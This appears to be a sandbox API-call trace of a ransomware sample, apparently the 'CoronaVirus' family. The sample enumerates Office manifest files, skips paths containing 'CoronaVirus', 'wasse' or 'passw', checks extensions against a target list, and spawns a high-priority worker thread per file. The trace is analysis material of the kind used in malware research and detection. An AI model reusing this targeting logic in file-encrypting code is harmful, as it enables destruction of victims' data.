	[0087.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0087.298] SetThreadPriority (hThread=0x68c, nPriority=15) returned 1
	[0087.593] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.593] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0087.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.593] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0087.594] SetThreadPriority (hThread=0x6d8, nPriority=15) returned 1
	[0087.883] malloc (_Size=0x1000) returned 0x2fc0a08
	[0087.883] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0087.883] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.883] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.883] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0087.884] SetThreadPriority (hThread=0x6b0, nPriority=15) returned 1
	[0087.886] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.886] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0087.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.886] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0087.889] SetThreadPriority (hThread=0x6f4, nPriority=15) returned 1
	[0087.896] malloc (_Size=0x1000) returned 0x2fc0a08
	[0087.896] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0087.896] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.896] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.896] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0087.914] SetThreadPriority (hThread=0x6f0, nPriority=15) returned 1
	[0087.916] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.916] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0087.916] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.916] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.917] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0087.919] SetThreadPriority (hThread=0x6e0, nPriority=15) returned 1
	[0087.926] malloc (_Size=0x1000) returned 0x2fc0a08
	[0087.926] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0087.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0087.926] SetThreadPriority (hThread=0x700, nPriority=15) returned 1
	[0087.945] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.945] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0087.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0087.957] SetThreadPriority (hThread=0x6fc, nPriority=15) returned 1
	[0087.991] malloc (_Size=0x1000) returned 0x2fc0a08
	[0087.991] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0087.991] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.991] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.991] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0087.991] SetThreadPriority (hThread=0x704, nPriority=15) returned 1
	[0087.996] malloc (_Size=0x1000) returned 0x2fc1a10
	[0087.996] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0087.996] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0087.997] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0087.997] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0087.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0088.005] SetThreadPriority (hThread=0x6f8, nPriority=15) returned 1
	[0088.014] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.014] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0088.014] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.014] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.020] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0088.073] SetThreadPriority (hThread=0x70c, nPriority=15) returned 1
	[0088.091] malloc (_Size=0x1000) returned 0x2fc1a10
	[0088.091] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0088.091] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.091] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.091] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0088.092] SetThreadPriority (hThread=0x708, nPriority=15) returned 1
	[0088.095] malloc (_Size=0x1000) returned 0x2fc4a28
	[0088.095] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0088.095] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.095] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.095] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0088.107] SetThreadPriority (hThread=0x71c, nPriority=15) returned 1
	[0088.175] malloc (_Size=0x1000) returned 0x2fc4a28
	[0088.175] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0088.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0088.176] SetThreadPriority (hThread=0x720, nPriority=15) returned 1
	[0088.179] malloc (_Size=0x1000) returned 0x2fc5a30
	[0088.179] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0088.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0088.193] SetThreadPriority (hThread=0x724, nPriority=15) returned 1
	[0088.196] malloc (_Size=0x1000) returned 0x2fc6a38
	[0088.196] _swprintf (in: param_1=0x2fc6a38, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0088.196] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.196] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.196] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc6a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0088.235] SetThreadPriority (hThread=0x714, nPriority=15) returned 1
	[0088.239] malloc (_Size=0x1000) returned 0x2fc5a30
	[0088.240] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0088.240] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.240] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.240] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0088.245] SetThreadPriority (hThread=0x710, nPriority=15) returned 1
	[0088.259] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.259] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0088.259] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.259] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.259] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728
	[0088.260] SetThreadPriority (hThread=0x728, nPriority=15) returned 1
	[0088.262] malloc (_Size=0x1000) returned 0x2fc1a10
	[0088.262] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0088.262] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.264] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0088.265] SetThreadPriority (hThread=0x730, nPriority=15) returned 1
	[0088.276] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.276] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0088.276] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.276] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.276] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0088.345] SetThreadPriority (hThread=0x72c, nPriority=15) returned 1
	[0088.367] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.367] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0088.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0088.368] SetThreadPriority (hThread=0x738, nPriority=15) returned 1
	[0088.370] malloc (_Size=0x1000) returned 0x2fc1a10
	[0088.370] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0088.370] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.370] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.372] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0088.376] SetThreadPriority (hThread=0x73c, nPriority=15) returned 1
	[0088.379] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.379] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.379] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.379] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.379] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.379] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.379] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.379] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.380] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.380] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.381] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.381] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.381] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.385] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0088.385] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.385] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.385] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0088.385] SetThreadPriority (hThread=0x734, nPriority=15) returned 1
	[0088.387] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.387] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.387] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.389] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.389] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.391] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.392] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.392] malloc (_Size=0x1000) returned 0x2fc1a10
	[0088.392] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0088.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
